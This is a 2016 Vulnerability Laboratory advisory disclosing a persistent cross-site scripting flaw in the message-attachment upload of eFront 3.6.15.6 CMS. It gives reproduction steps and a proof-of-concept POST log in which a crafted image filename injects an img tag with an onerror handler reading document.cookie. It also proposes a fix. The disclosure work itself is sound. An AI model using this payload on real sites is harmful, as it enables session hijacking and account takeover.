eFront 3.6.15.6 CMS – (Message Attachment) Persistent Cross Site Scripting Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
eFront 3.6.15.6 CMS – (Message Attachment) Persistent Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1765


Release Date:
=============
2016-02-24


Vulnerability Laboratory ID (VL-ID):
====================================
1765


Common Vulnerability Scoring System:
====================================
4


Product & Service Introduction:
===============================
eFrontPro is a powerful learning management system that provides effective employee training that fits your brand 
preferences for both, 
online training & blended learning.     eFrontPro can help you improve employee learning & development, ensure 
compliance, track employee 
training, engage your workforce and support organizational goals. Trusted by hundreds of companies and organizations 
around the world, 
eFrontPro is committed to assist you train people.

(Copy of the Homepage: http://www.efrontlearning.net/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an application-side validation web vulnerability in the 
eFront eLearning v3.6.15.6 CMS.


Vulnerability Disclosure Timeline:
==================================
2016-02-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered  in the official eFront eLearning v3.6.15.6 
Content Management System.
The vulnerability allows remote attacker to inject own malicious script codes to the application-side of the vulnerable 
module/function context.

The vulnerability is located at the `message attachment file` value of the `file upload` module. Remote attackers are 
able to inject malicious 
script codes to the file upload message module POST method request to compromise the `message` module. The attack 
vector of the vulnerability is 
located on the application-side of the product and the request method to inject is POST. The execution point is the 
vulnerable `message` Module. 

Exploitation of the persistent web vulnerability requires a low privileged web application user account and low user 
interaction (click or forward). 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external 
redirects, persistent load of 
malicious script codes or persistent web module context manipulation.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] efront CMS - Messages Module - message attachment  (Image)

Vulnerable Parameter(s):
                                [+] attachment 


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged 
web-application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below 
to continue.

Manual steps to reproduce the vulnerability ...
1. Register an Efront CMS account and login to the web-application 
2. Open link  ../student.php?ctg=messages&add=1
3. send message button
4. Upload image with name "><img src="http://evilsource.localhost:8080"; onerror=alert(document.cookie)>.jpg 
5. after upload directly pick up a recipient and send the message   
6. the execution of the vulnerability occurs at message module user panel or admin panel 
7. Successful reproduce of the vulnerability!


--- PoC Session Logs [POST] ---
POST /efront/www/student.php?ctg=messages&add=1 HTTP/1.1
Host: host.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://lawrencelab.byethost18.com/efront/www/student.php?ctg=messages&add=1
Cookie: display_all_courses=1; PHPSESSID=b8b6af376a0d0cd87c16622; __test=b80983dafef045e957b8be0ceb; 
PHPSESSID=b8b6af376a0d076cacd87c16622; parent_sid=b8b6af376a0ffa76cacd87c16622
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------206452991920433123311648543799
Content-Length: 5642
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="_qf__new_message_form"
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="previous_url"
http://lawrencelab.byethost18.com/efront/www/student.php?ctg=messages
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="MAX_FILE_SIZE"
10485760
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="qfS_csrf"
7d69af83ffcff276f553044059274a50
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="recipient"
Administrator S. (admin)
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="bcc"
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="recipients"
only_specific_users
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="specific_course_completed"
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="user_type"
student
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="subject"
Hey check it 
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="body"
please see attachments 
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="attachment[0]"; 
filename="[PERSISTENT INJECTED SCRIPT CODE!]"><img src="http://evilsource.localhost:8080"; 
onerror=alert(document.cookie)>.jpg"
Content-Type: image/jpeg
-----------------------------206452991920433123311648543799
Content-Disposition: form-data; name="submit_send_message"
Send message
-----------------------------206452991920433123311648543799--


Reference(s):
http://efront.localhost:8080/efront/
http://efront.localhost:8080/efront/www/
http://efront.localhost:8080/efront/www/student.php



Solution - Fix & Patch:
=======================
Parse and encode the filename of the message attachments to prevent persistent script code execution. 
Restrict the input and disallow usage of special chars as album name or filename value.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the efront web-application is estimated 
as medium. (CVSS 4.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer - 
http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer


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=========================
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